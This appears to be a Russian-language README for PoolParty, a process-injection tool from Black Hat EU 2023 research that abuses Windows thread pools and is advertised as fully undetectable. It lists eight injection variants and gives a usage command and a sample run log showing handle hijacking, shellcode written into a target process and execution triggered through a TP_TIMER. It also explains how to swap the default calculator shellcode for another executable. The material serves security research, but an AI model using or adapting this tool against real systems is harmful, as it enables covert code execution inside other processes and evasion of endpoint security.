
Набор полностью необнаруживаемых техник внедрения процессов, использующих пулы потоков Windows.
Коллекция полностью необнаруживаемых техник внедрения процессов, злоупотребляющих пулами потоков Windows. Представлено на брифингах Black Hat EU 2023 под названием - Вечеринка в пуле, которую вы никогда не забудете: новые техники внедрения процессов с использованием пулов потоков Windows
| ID варианта | Описание варианта |
|---|---|
| 1 | Перезаписать стартовую процедуру целевой фабрики рабочих потоков |
| 2 | Вставить рабочий элемент TP_WORK в пул потоков целевого процесса |
| 3 | Вставить элемент ожидания TP_WAIT в пул потоков целевого процесса |
| 4 | Вставить элемент ввода-вывода TP_IO в пул потоков целевого процесса |
| 5 | Вставить элемент ALPC TP_ALPC в пул потоков целевого процесса |
| 6 | Вставить элемент задания TP_JOB в пул потоков целевого процесса |
| 7 | Вставить прямой элемент TP_DIRECT в пул потоков целевого процесса |
| 8 | Вставить элемент таймера TP_TIMER в пул потоков целевого процесса |
PoolParty.exe -V <ID ВАРИАНТА> -P <ЦЕЛЕВОЙ PID>
Вставить элемент TP_TIMER в процесс с ID 1234
>> PoolParty.exe -V 8 -P 1234
[info] Starting PoolParty attack against process id: 1234
[info] Retrieved handle to the target process: 00000000000000B8
[info] Hijacked worker factory handle from the target process: 0000000000000058
[info] Hijacked timer queue handle from the target process: 0000000000000054
[info] Allocated shellcode memory in the target process: 00000281DBEF0000
[info] Written shellcode to the target process
[info] Retrieved target worker factory basic information
[info] Created TP_TIMER structure associated with the shellcode
[info] Allocated TP_TIMER memory in the target process: 00000281DBF00000
[info] Written the specially crafted TP_TIMER structure to the target process
[info] Modified the target process's TP_POOL tiemr queue list entry to point to the specially crafted TP_TIMER
[info] Set the timer queue to expire to trigger the dequeueing TppTimerQueueExpiration
[info] PoolParty attack completed successfully
Стандартный шеллкод запускает калькулятор через WinExec API.
Чтобы изменить исполняемый файл, измените путь в конце переменной g_Shellcode, находящейся в файле main.cpp.